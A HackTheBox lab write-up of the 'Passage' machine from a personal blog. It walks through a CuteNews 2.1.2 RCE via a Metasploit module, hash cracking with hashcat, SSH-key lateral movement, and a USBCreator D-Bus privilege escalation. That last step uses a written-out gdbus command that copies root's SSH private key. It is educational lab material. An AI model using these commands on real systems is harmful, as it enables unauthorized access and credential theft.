___               _   ___   ___ 
|  _|_____ ___ ___| |_|_  | |  _|
|  _|     | .'|_ -|   |_| |_| . |
|_| |_|_|_|__,|___|_|_|_____|___|
                 u/fmash16's page

Hackthebox - Passage Writeup

We add the IP address of the machine to our /etc/hosts file.

echo "10.10.10.206  passage.htb" >> /etc/hosts

Nmap Scan

Open ports:

Enumeration

Port 80 - HTTP

Going over to the URL http://passage.htb, we find the following webpage.

We see that Fail2ban has been implemented in the site which bans as IP for 2 mins due to excessive requests.

So, we cant fuzz the site for URLs. Looking around, we see that the site is powered by CuteNews which is a PHP news managemente system.

CuteNews CMS

Looking around we find the login page for the CuteNews CMS at the URL http://passage.htb/CuteNews

We register a new user and login. We don’te get much, a simple dashboard and an option to change personal info, where we can upload an avatar, that seems interesting

We find that the site is running CuteNews version 2.1.2

CuteNews exploit - RCE

Now we look for some exploits for the CuteNews version using searchsploit

searchsploit cutenews

We find an RCE exploit for the exact version we have. And it is a metasploit module. The module is not availabe by default in metasploit. So we mirror the exploit in the directory for custom metasploit modules ~/.msf4/modules. I used the directory ~/.msf4/modules/cgi/webapps.

searchsploit -m 46698.rb
msfconsole

The module has some errors and cannot be loaded. I checked the logfile at ~/.msf4/logs/framework.log and it shows the errors.

Remove the following lines from the module under def initialize to make the module work.

'References' =>
        [
          ['URL', 'http://pentest.com.tr/exploits/CuteNews-2-1-2-Remote-Code-Execution-Metasploit.html']
          ['URL', 'http://cutephp.com'] # Official Website
        ],

Now, we restart metasploit and find the module loaded.

We use the module and set all the required parameters. For the username and password, we those of the new user that we registered.

We run the exploit and get a meterpreter shell, from which we can get a shell as user www-data. we start a bash shell and stabilize it using python.

Privilege Escalation - User 1

Finding user hash

Looking around, we see that the box has two users under the /home directory:

  1. Nadav
  2. Paul

We can list the directory of Paul that contains our user.txt file, but directory listing of Nadav is not allowed.

We look around and find a folder named users under the directory /var/www/html/CuteNews/cdata/users. This seems interesting. Catting out the contents of the file lines, we find many hashes that seems to be base64 encoded.

Trying base64 decoding different hashes, we find the marked one containing the password hash for the user paul.

Passing the hash to the analyse hash function of Cyberchef we find that the hash might use SHA-256.

Cracking hash using hashcat

hashcat -m 1400 paul.hash -w rockyou.txt

We get the cracked password atlanta1

Creds found:

paul:atlanta1

We use the creds to su as user paul

su paul

Now we can read the user.txt file.

Privilege Escalation - User 2

Next we try getting the user Nadav. The user paul doesn’t have much permissions to do anything. nadav on the outher hand belongs to the sudo group, as we find running the privesc script linpeas.sh.

Firstly, in order to get a stable ssh session, we get the id_rsa of the user paul. Then we ssh as user paul

chmod 600 paul_id_rsa
ssh -i paul_id_rsa paul@passage.htb

We find a lot of files under the home directory of the user paul. We cat out all the contents of the files recursively

cat .*/*

We find the user nadav in the authorized_keys under the .ssh folder. So nadav can ssh into user paul without password. So maybe paul can do that too? Paul and Nadav seems close friends, huh?

We try ssh ing into nadav from paul and succeed!

ssh nadav@passage.htb

And we are in as nadav!

Privilege escalation - root

This is the part I was stuck for a long time. Normal privesc scripts didn’t show anything interesting. The only thing I found interesting was the CUPS service running on port 631, which is a service for printing. But that’s a rabbit hole.

Finally looking at the running processes on the system using ps aux, we find the following process running with root privileges.

root       2388  0.0  0.4 235548 20020 ?        Sl   00:25   0:00 /usr/bin/python3 /usr/share/usb-creator/usb-creator-helper

A program called usb-creator-helper. Googling it, we see that it is used by the in built live usb creator for ubuntu. It is called “Startup Disk Creator”. As per wikipedia,

Startup Disk Creator is an official tool to create Live USBs of Ubuntu from the Live CD or from an ISO image. The tool is included by default in all releases after Ubuntu 8.04, and can be installed on Ubuntu 8.04.

We try looking for some vulnerabilities related to this, and we find this awesome article on privilege escalation using this USBCreator dbus by, who else, other than Navas Markus? The article link is:

https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/

The vulnerability is discussed in details in the post. What happens here is that the USBCreator implements the popular unix tool dd used for writing to disks using python. But it does not perform any sanitation checks on which files are being written to which location, neither does it prompt for the user password for the users belonging to the sudo group. And our user nadav does in fact belong to the sudo group as we can verify using the id command.

So using this vulnerability, we can get sensitive contents owned by root, like the root.txt, shadow file with passwords, or the id_rsa of the root.

Following the post, we use the following command to get the id_rsa of the root from the root home directory, to /tmp folder.

gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/.ssh/id_rsa /tmp/pwn true

Using the id_rsa, we ssh into the box as root.

And we finally get our root.txt file.

CUPS rabbit hole

Having a look at the open ports using the following command, we find the port 631 open

netstat -tulnap

Googling a bit, we find that this port is used by the cupsd service used by CUPS. CUPS is a modular printing system for Unix-like computer operating systems which allows a computer to act as a print server. A computer running CUPS is a host that can accept print jobs from client computers, process them, and send them to the appropriate printer.(source: Wikipedia)

But the port accepts connections only from 127.0.0.1 or the localhost. To bypass this firewall, we port forward the port 631 to the port 1337 on our local machine. Now, any request we make to the port 1337 on our local machine will be forwarded to the port 631 on the target machine and it will appear as if the request is coming from the localhost. We forward the port over ssh issuing the following command

ssh -R 10.10.16.2:1337:127.0.0.1:631 root@10.10.16.2

Now, we can visit the URL http://127.0.0.1:1337 to access the CUPS web administration page.

Editing the conf files requires passwords. Though the user nadav is a member of the group lpadmin, we didn’t have the password for the user. Moreover, could not find any other ways to exploit this service.